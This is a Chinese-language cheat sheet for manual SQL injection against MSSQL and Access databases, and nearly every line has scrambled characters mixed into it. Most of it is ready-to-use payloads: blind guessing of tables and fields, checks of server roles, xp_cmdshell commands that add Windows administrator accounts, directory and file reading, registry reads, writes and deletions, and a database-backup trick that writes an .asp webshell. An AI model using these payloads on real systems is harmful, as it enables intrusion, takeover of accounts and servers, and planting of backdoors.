手工脚本注入
" ^3 Z- l& O! u3 {: b1.判断是否有注入;and 1=1 ;and 1=2
. H. ?( u; o( j' U# z& ]& N
) g( [6 F8 [* P9 n# D2.初步判断是否是mssql ;and user>0
# h; a6 ~& H# d; e% `
6 O, F) ~& n5 R9 {. G3.注入参数是字符'and [查询条件] and ''='
/ M# o. I5 d& R6 X
1 Z+ X0 n7 }5 O' e$ M" Q! r4 _4.搜索时没过滤参数的'and [查询条件] and '%25'='
N& X3 p) y: c) m4 m/ X2 p- o8 k( Z. W9 {) R& D% x
5.判断数据库系统
/ n1 v7 M/ i7 ~( ~0 V( D;and (select count(*) from sysobjects)>0 mssql
|; |1 d; p" i$ B+ x* ^;and (select count(*) from msysobjects)>0 access
% Y, w W- `+ D$ x/ y# o3 f5 W0 m& w5 S9 Z$ y' b; h/ T+ y
6.猜数据库 ;and (select Count(*) from [数据库名])>0
; ~& E) O* M" B
m$ h3 U$ ]3 \1 o1 O! V7.猜字段 ;and (select Count(字段名) from 数据库名)>0 8 f. ?; `% G# C/ j' r. F4 p! X
+ j7 }' Y* M' Q, O: ?
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4 H$ @4 S9 X/ D2 N
7 r( l" j7 p& y2 a! M. D9.(1)猜字段的ascii值(access)
; @1 g0 E9 o4 G0 @/ ^;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
5 [) t. @! W$ t0 D. x1 M+ `; q% w! v6 ?$ z
(2)猜字段的ascii值(mssql)
+ B/ p8 {8 F" S" e* T" {;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 9 o3 J& G2 O9 c# u
E0 J% T! G, V# s10.测试权限结构(mssql) ! k6 e% l* L- i+ E. f9 U# ^, V, i
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- # s( y# t1 V( u: g6 m' R5 b4 K K
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
$ c/ D7 A3 b6 X$ z5 }/ j$ {# N;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ' d2 Q' }$ @4 k% a1 c
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
7 ]0 F5 u; A7 j% ]$ v! J* r2 p;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- , G" G0 \( D2 ?2 G: j
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
# M! k8 l$ ^6 X2 G; X2 O& g1 G;and 1=(select IS_MEMBER('db_owner'));-- % U1 ?6 j% D3 y+ _! [8 l+ Y
/ ]( s, v# x' W1 Y/ Q. B6 T
11.添加mssql和系统的帐户
2 q9 e7 c0 ]$ s7 T8 Q; h;exec master.dbo.sp_addlogin username;--
, _- `, g+ \9 X+ h& ~5 t h" D. w) u# g$ X( s& H' _
;exec master.dbo.sp_password null,username,password;-- [8 P, C* z" g; E+ x& A2 m
2 J/ K8 W6 Q1 D- j, z;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 7 H0 h! }( w% A
6 Y3 m' C6 @* k0 _0 v8 W( g
;exec master.dbo.xp_cmdshell 'net user username password
) r( Y9 A0 C% V; H, r) l4 |/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- - [' A9 ~: b5 `0 u8 r; \
" A3 v: o3 g7 l;exec master.dbo.xp_cmdshell 'net user username password /add';-- 2 e7 o3 m% M4 o9 U8 v! `& ~
2 T7 {2 W; s6 ?* R" ~) q" R;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
- P: Q. W/ K0 R) W, \& p7 v1 [5 C
: K6 S S6 _0 V7 u. P1 I12.(1)遍历目录 7 n3 u- c) B, V, F0 R# R
2 F; |$ p' T; j) r) `6 U
;create table dirs(paths varchar(100), id int) / ^- B. c Q+ P0 m1 T$ P
;insert dirs exec master.dbo.xp_dirtree 'c:\'
$ V' q/ b ^! Z! W/ a1 _;and (select top 1 paths from dirs)>0
4 R, a. Y8 Y5 W7 M: O' }6 [3 x: T;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
# K' u3 G& ? m1 C
. f5 ^5 J4 b: |. J9 A2 @(2)遍历目录 8 \1 {) [) \8 E$ Y9 N+ o! f
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ; D1 `" K$ E0 `" i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
" }5 O8 k! v& R;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 6 F* B" l6 x) }
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
/ ^7 k+ B5 F+ e: G j) Y) ?% U;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
( J+ E+ z0 g0 \0 ?% X* G0 A4 i5 b' k) T y
13.mssql中的存储过程
& V: S9 x4 q: W2 `9 D
( m( O- W; k0 S. f Oxp_regenumvalues 注册表根键, 子键 3 p P: K' a+ a. U7 J* S
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 0 ^8 s% P9 H) D; _% y5 \
1 L+ I) Q: b8 R" C$ ` Oxp_regread 根键,子键,键值名
, \- q0 v" G5 m# ^4 s& t;exec xp_regread
. r$ n, f" e7 r9 @4 C' W; w& ^'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 v {5 K3 U& m" S$ {
# I5 G- q6 u4 n+ f3 k9 E4 @, uxp_regwrite 根键,子键, 值名, 值类型, 值 0 g0 y1 ~0 O, G; B& {, f& m
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 ! t& {# E' {) k$ I/ A/ ?; U% ~- | q* A
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
% g" O* t1 ]0 P% q/ b9 D; P& d1 @( m) k
xp_regdeletevalue 根键,子键,值名
/ V/ ?3 b4 d. N+ Z* G, ~) w) ^
2 P; Y# u/ F0 J7 [, c. d8 nexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ' `/ @0 @* n, B$ d* Z# u7 J0 m1 M0 J
! J6 J. l5 G2 d: L! B4 O* _xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 . y/ i+ `& G" u2 w
# G3 ]8 Y' [% D C
14.mssql的backup创建webshell ' K7 K7 N; b0 _! S; m; A& r
use model $ }' |8 W8 p: `0 A
create table cmd(str image);
6 q* s( y/ }( ^' Zinsert into cmd(str) values (''); , y# i1 t# v$ H/ K2 c. W) k7 Y3 y1 c1 ?
backup database model to disk='c:\l.asp';
& i# F. w# s2 p1 B5 k' _
3 A: G8 H' i9 {8 J1 z( ]15.mssql内置函数
$ X k2 w. X9 ^" g" b;and (select @@version)>0 获得Windows的版本号
1 v( M# [0 W( A+ U8 Y h;and user_name()='dbo' 判断当前系统的连接用户是不是sa & ^$ F+ M7 I" j4 e" y. U# D
;and (select user_name())>0 爆当前系统的连接用户 J% d/ V, c# R+ g/ l
;and (select db_name())>0 得到当前连接的数据库
2 L$ V) H: E0 y; G
' p- T( @0 h/ q, X/ N- J5 N16.简洁的webshell
% c0 p6 Z# [, l- o( G7 p
3 e8 b6 C4 v- @. b% @3 t) Ause model * I# `# X8 \9 O9 Y
, ]6 _. t& C. K6 v, I
create table cmd(str image); # W; c; j3 R. X. r/ L, X- D. h
1 B b8 o, c" @6 d; o( Tinsert into cmd(str) values ('');
% p% C. _9 [- m9 m e4 d
; F c+ @1 k" d c" abackup database model to disk='g:\wwwtest\l.asp'; : C p9 s1 z8 h# w
/ l* @' {' d) L. f3 y |